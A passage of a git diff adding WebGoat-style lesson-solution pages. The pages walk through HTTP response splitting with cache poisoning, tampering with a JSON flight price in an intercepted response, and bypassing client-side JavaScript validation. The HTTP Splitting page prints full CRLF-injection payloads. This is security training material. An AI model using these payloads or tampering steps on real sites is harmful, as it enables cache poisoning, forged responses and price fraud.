b/main/project/WebContent/lesson_solutions/HttpOnly_files/image018.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image019.jpg b/main/project/WebContent/lesson_solutions/HttpOnly_files/image019.jpg new file mode 100644 index 000000000..acfd921d1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image019.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image020.jpg b/main/project/WebContent/lesson_solutions/HttpOnly_files/image020.jpg new file mode 100644 index 000000000..4c564391a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image020.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image021.jpg b/main/project/WebContent/lesson_solutions/HttpOnly_files/image021.jpg new file mode 100644 index 000000000..56107235b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image021.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/themedata.thmx b/main/project/WebContent/lesson_solutions/HttpOnly_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting.html b/main/project/WebContent/lesson_solutions/HttpSplitting.html new file mode 100644 index 000000000..4dc8c80b9 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HttpSplitting.html @@ -0,0 +1,1015 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform Http Splitting

+ +

 

+ +

Concept / +Topic To Teach:

+ +

This lesson +teaches how to perform HTTP Splitting attacks.

+ +

 

+ +

How the +attacks works:

+ +

The attacker +passes malicious code to the web server together with normal input. A victim +application will not be checking for CR (carriage return, also given by %0d or +\r) and LF (line feed, also given by %0a or \n)characters. These characters not +only give attackers control of the remaining headers and body of the response +the application intends to send, but also allows them to create additional +responses entirely under their control.
+The effect of an HTTP Splitting attack is maximized when accompanied with a +Cache Poisoning. The goal of Cache Poisoning attack is to poison the cache of +the victim by fooling the cache to believe that the page hijacked using the +HTTP splitting is a good one and it is indeed the server's copy.
+The attack happens using the HTTP Splitting attack plus adding the Last-Modified: +header and setting it to a future date. This will force the browser to send If-Modified-Since +request header, which gives the attacker the chance to intercept the server's +reply and replace it with a '304 Not Modified' reply. A sample of a 304 response +is:
+HTTP/1.1 304 Not Modified
+Date: Fri, 30 Dec 2005 17:32:47 GMT

+ +

 

+ +

General +Goal(s):

+ + + +

This lesson +has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while +stage 2 builds on that to teach you how to elevate HTTP Splitting to Cache Poisoning.
+Enter a language for the system to search by. You will notice that the +application is redirecting your request to another resource on the server. You +should be able to use the CR (%0d) and LF (%0a) to exploit the attack. Your +exercise should be to force the server to send a 200 OK. If the screen changed +as an effect to your attack, just go back to the homepage and after stage 2 is +exploited successfully you will find the green check in the left menu.

+ +

 

+ +

+ +

 

+ +

Solution:

+ +

 

+ +

Because the +input is not validated you can inject any HTTP syntax, carriage returns and +line-feed you want.

+ +

 

+ +

Enter a +language to examine what’s going on. You do have WebScarab intercepting HTTP +requests and responses?

+ +

 

+ +

+ +

Figure 1 Language en

+ +

+ +

Figure 2 HTTP Request

+ +

 

+ +

+ +

Figure 3 First HTTP Response

+ +

 

+ +

+ +

Figure 4 Second HTTP Request

+ +

 

+ +

Now inject +for the language en%0d%0a%0d%0a%0d%0a

+ +

 

+ +

+ +

Figure 5 First HTTP Request

+ +

 

+ +

+ +

Figure 6 First HTTP Response

+ +

 

+ +

The +Content-Length: 0 will tell the server that the first request is over.

+ +

A 200 OK +message looks like this: HTTP/1.1 200 OK

+ +

 

+ +

Lets see what +you can do with: foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Hacked +J</html>

+ +

 

+ +

+ +

Figure 7 HTTP Splitting attack

+ +

 

+ +

+ +

Figure 8 HTTP Response

+ +

 

+ +

+ +

Figure 9 Second HTTP Request

+ +

 

+ +

+ +

Figure 10 Second HTTP Response

+ +

 

+ +

+ +

Figure 11 Hacked!

+ +

 

+ +

Hit the “Back” +button of your browser.

+ +

 

+ +

+ +

Figure 12 Stage 1 completed

+ +

 

+ +

Now you know +how to do HTTP Splitting. You can abuse this technique to do a cache poisoning +attack.

+ +

 

+ +

Cache +poisoning requires manipulating the Last-Modified header. This must be changed +to a date in the future.

+ +

Inject: foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Hacked +J</html>

+ +

 

+ +

+ +

Figure 13 Inject cache poisoning

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/HttpSplitting_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HttpSplitting_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/filelist.xml b/main/project/WebContent/lesson_solutions/HttpSplitting_files/filelist.xml new file mode 100644 index 000000000..8b4e1e66e --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HttpSplitting_files/filelist.xml @@ -0,0 +1,34 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image001.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image001.png new file mode 100644 index 000000000..a3cecc9aa Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image003.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image003.png new file mode 100644 index 000000000..d62c55ea3 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image005.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image005.png new file mode 100644 index 000000000..4168195ac Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image007.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image007.png new file mode 100644 index 000000000..d9f29ebed Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image009.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image009.png new file mode 100644 index 000000000..c75a97ac6 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image011.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image011.png new file mode 100644 index 000000000..addd9bce4 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image011.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image013.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image013.png new file mode 100644 index 000000000..4f70cbce7 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image013.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image015.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image015.png new file mode 100644 index 000000000..08c036f4e Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image015.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image017.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image017.png new file mode 100644 index 000000000..9dccc349f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image017.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image019.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image019.png new file mode 100644 index 000000000..17708a3d7 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image019.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image021.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image021.png new file mode 100644 index 000000000..59bec4ece Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image021.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image023.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image023.png new file mode 100644 index 000000000..8887f463b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image023.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image025.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image025.png new file mode 100644 index 000000000..83279f010 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image025.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image027.png b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image027.png new file mode 100644 index 000000000..ac9b0590f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image027.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image029.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image029.jpg new file mode 100644 index 000000000..1f2923a0d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image029.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image030.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image030.jpg new file mode 100644 index 000000000..5c309829a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image030.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image031.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image031.jpg new file mode 100644 index 000000000..296995e6d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image031.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image032.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image032.jpg new file mode 100644 index 000000000..04b19c12d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image032.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image033.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image033.jpg new file mode 100644 index 000000000..1e20add5b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image033.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image034.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image034.jpg new file mode 100644 index 000000000..cc30af047 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image034.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image035.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image035.jpg new file mode 100644 index 000000000..0e01db1ea Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image035.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image036.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image036.jpg new file mode 100644 index 000000000..51964a9bb Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image036.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image037.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image037.jpg new file mode 100644 index 000000000..9f8efcbb7 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image037.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image038.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image038.jpg new file mode 100644 index 000000000..036e50e47 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image038.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image039.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image039.jpg new file mode 100644 index 000000000..81b54f365 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image039.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image040.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image040.jpg new file mode 100644 index 000000000..caf41923a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image040.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image041.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image041.jpg new file mode 100644 index 000000000..cd100cf63 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image041.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/image042.jpg b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image042.jpg new file mode 100644 index 000000000..9a48ce5a4 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/image042.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpSplitting_files/themedata.thmx b/main/project/WebContent/lesson_solutions/HttpSplitting_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpSplitting_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection.html b/main/project/WebContent/lesson_solutions/JSONInjection.html new file mode 100644 index 000000000..49e2bac05 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/JSONInjection.html @@ -0,0 +1,805 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform JSON Injection

+ +

 

+ +

Concept / +Topic To Teach:

+ +

This lesson +teaches how to perform JSON Injection Attacks.

+ +

 

+ +

How the +attacks works:

+ +

JavaScript Object +Notation (JSON) is a simple and effective lightweight data exchange format. +JSON can be in a lot of forms such as arrays, lists, hashtables and other data +structures. JSON is widely used in AJAX and Web2.0 application and is favored +by programmers over XML because of its ease of use and speed. However, JSON, +like XML is prone to Injection attacks. A malicious attacker can inject the +reply from the server and inject some arbitrary values in there.

+ +

 

+ +

General +Goal(s):

+ +

You +are traveling from Boston, MA- Airport code BOS to Seattle, WA - Airport code +SEA.
+Once you enter the three digit code of the airport, an AJAX request will be +executed asking for the ticket price.
+You will notice that there are two flights available, an expensive one with no +stops and another cheaper one with 2 stops.
+Your goal is to try to get the one with no stops but for a cheaper price.

+ +

 

+ +

+ +

Figure 1 AJAX Security - JSON Injection

+ +

 

+ +

Solution:

+ +

Like with the previous lessons you need to manipulate the HTTP Response +using WebScarab.

+ +

 

+ +

Examine the normal flow by entering the airport code BOS and SEA and +intercept the HTTP Request and the HTTP Response in WebScarab.

+ +

 

+ +

+ +

Figure 2 Intercept HTTP Request

+ +

 

+ +

+ +

Figure 3 Intercept HTTP Response

+ +

 

+ +

Change the +price for the expensive flight of $600 to $100 and click “Accept changes”.

+ +

 

+ +

 

+ +

+ +

Figure 4 Updated price

+ +

 

+ +

+ +

Figure 5 Injected result

+ +

 

+ +

Select the flight +with no stops and the updated price and click “Submit”.

+ +

 

+ +

+ +

Figure 6 Lesson completed

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/JSONInjection_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/JSONInjection_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/filelist.xml b/main/project/WebContent/lesson_solutions/JSONInjection_files/filelist.xml new file mode 100644 index 000000000..3f7752feb --- /dev/null +++ b/main/project/WebContent/lesson_solutions/JSONInjection_files/filelist.xml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image001.png b/main/project/WebContent/lesson_solutions/JSONInjection_files/image001.png new file mode 100644 index 000000000..cfdb7b042 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image003.png b/main/project/WebContent/lesson_solutions/JSONInjection_files/image003.png new file mode 100644 index 000000000..217f69bd7 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image005.png b/main/project/WebContent/lesson_solutions/JSONInjection_files/image005.png new file mode 100644 index 000000000..affeaa193 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image007.png b/main/project/WebContent/lesson_solutions/JSONInjection_files/image007.png new file mode 100644 index 000000000..709f70b6a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image009.png b/main/project/WebContent/lesson_solutions/JSONInjection_files/image009.png new file mode 100644 index 000000000..b7d120e45 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image011.png b/main/project/WebContent/lesson_solutions/JSONInjection_files/image011.png new file mode 100644 index 000000000..3d93d05e5 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image011.png differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image013.jpg b/main/project/WebContent/lesson_solutions/JSONInjection_files/image013.jpg new file mode 100644 index 000000000..21504eb14 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image013.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image014.jpg b/main/project/WebContent/lesson_solutions/JSONInjection_files/image014.jpg new file mode 100644 index 000000000..cf6cc7471 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image014.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image015.jpg b/main/project/WebContent/lesson_solutions/JSONInjection_files/image015.jpg new file mode 100644 index 000000000..ccd96c071 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image015.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image016.jpg b/main/project/WebContent/lesson_solutions/JSONInjection_files/image016.jpg new file mode 100644 index 000000000..3710a91c1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image016.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image017.jpg b/main/project/WebContent/lesson_solutions/JSONInjection_files/image017.jpg new file mode 100644 index 000000000..fecffb54d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image017.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/image018.jpg b/main/project/WebContent/lesson_solutions/JSONInjection_files/image018.jpg new file mode 100644 index 000000000..f4edbeeb7 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/image018.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JSONInjection_files/themedata.thmx b/main/project/WebContent/lesson_solutions/JSONInjection_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JSONInjection_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation.html b/main/project/WebContent/lesson_solutions/JavaScriptValidation.html new file mode 100644 index 000000000..58d4b79e7 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/JavaScriptValidation.html @@ -0,0 +1,841 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Bypass Client Side JavaScript Validation

+ +

 

+ +

Concept / +Topic To Teach:

+ +

Client-side validation +should not be considered a secure means of validating parameters. This +validation only helps reducing the amount of server processing time for normal +users who do not know the format of required input. Attackers can bypass these +mechanisms easily in various ways. Any client-side validation should be +duplicated on the server side. This will greatly reduce the likelihood of +insecure parameter values being used in the application.

+ +

 

+ +

General +Goal(s):

+ +

For this +exercise, the web site requires that you follow certain rules when you fill out +a form. The user should be able to break those rules, and send the website +input that it wasn't expecting.

+ +

+ +

 

+ +

Figure 1 Lesson 6

+ +

 

+ +

There are two +ways to complete this lesson. The first one is to submit a valid request like +the one from the screenshot above and intercept this using WebScarab. The +second way is to intercept the HTTP Response when loading the page and remove +the Javascript that validates the values.

+ +

 

+ +

Solution 1

+ +

 

+ +

+ +

Figure 2 Intercept request

+ +

 

+ +

Add different +symbols to the fields and click “Accept changes”.

+ +

 

+ +

+ +

Figure 3 Change parameters

+ +

 

+ +

+ +

Figure 4 Lesson 6 Completed

+ +

 

+ +

Solution 2

+ +

 

+ +

Reload the +page by clicking on the menu item “How to bypass Client-Side Javascript +Validation” and intercept the response in WebScarab.

+ +

 

+ +

+ +

Figure 5 Enable “Intercept responses”

+ +

 

+ +

+ +

Figure 6 Intercepted response

+ +

 

+ +

If you remove +the onclick=’validate();’ the “Submit” button will not work anymore.

+ +

Locate the +validate() Javascript function in the HTML page.

+ +

 

+ +

+ +

Figure 7 The function validate()

+ +

 

+ +

Removing the regular +expressions will remove the Javascript validation and submit the form.

+ +

 

+ +

+ +

Figure 8 Changed validate() function

+ +

 

+ +

Click “Accept +changes”. This returns a HTML page like before but without any regular +expression checks.

+ +

 

+ +

+ +

Figure 9 It looks the same

+ +

 

+ +

Change the +fields in the HTML page to contain symbols like @#@@# and click “Submit”.

+ +

 

+ +

+ +

Figure 10 No more regular expression checks

+ +

 

+ +

+ +

Figure 11 Lesson 6 Completed

+ +

 

+ +
+
+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/filelist.xml b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/filelist.xml new file mode 100644 index 000000000..aa9eb0b16 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/filelist.xml @@ -0,0 +1,29 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image001.png b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image001.png new file mode 100644 index 000000000..bb24a6c8f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image002.jpg b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image002.jpg new file mode 100644 index 000000000..ac600b733 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image003.png b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image003.png new file mode 100644 index 000000000..20f3f3871 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image004.jpg b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image004.jpg new file mode 100644 index 000000000..0ffa3bfe7 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image005.png b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image005.png new file mode 100644 index 000000000..a189bb3d8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image006.jpg b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image006.jpg new file mode 100644 index 000000000..2e361f07f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image007.png b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image007.png new file mode 100644 index 000000000..2e74b5ec7 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image008.jpg b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image008.jpg new file mode 100644 index 000000000..34cf88ebb Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image008.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image009.gif b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image009.gif new file mode 100644 index 000000000..1779f251e Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image009.gif differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image010.png b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image010.png new file mode 100644 index 000000000..88661381a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image010.png differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image011.jpg b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image011.jpg new file mode 100644 index 000000000..ab68d0731 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image011.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image012.png b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image012.png new file mode 100644 index 000000000..4d3ab3e2f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image012.png differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image013.jpg b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image013.jpg new file mode 100644 index 000000000..3ba19dd7e Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image013.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image014.png b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image014.png new file mode 100644 index 000000000..90ea086b2 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image014.png differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image015.jpg b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image015.jpg new file mode 100644 index 000000000..47033c76c Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image015.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image016.png b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image016.png new file mode 100644 index 000000000..36393c423 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image016.png differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image017.jpg b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image017.jpg new file mode 100644 index 000000000..02087fd18 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image017.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image018.png b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image018.png new file mode 100644 index 000000000..6fa005b7c Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image018.png differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image019.jpg b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image019.jpg new file mode 100644 index 000000000..fa77e0a36 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image019.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image020.png b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image020.png new file mode 100644 index 000000000..43737e5d1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image020.png differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image021.jpg b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image021.jpg new file mode 100644 index 000000000..9cde03d4b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image021.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image022.png b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image022.png new file mode 100644 index 000000000..24ef81f2b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image022.png differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image023.jpg b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image023.jpg new file mode 100644 index 000000000..8fbe215fd Binary files /dev/null and b/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/image023.jpg differ diff --git a/main/project/WebContent/lesson_solutions/JavaScriptValidation_files/themedata.thmx 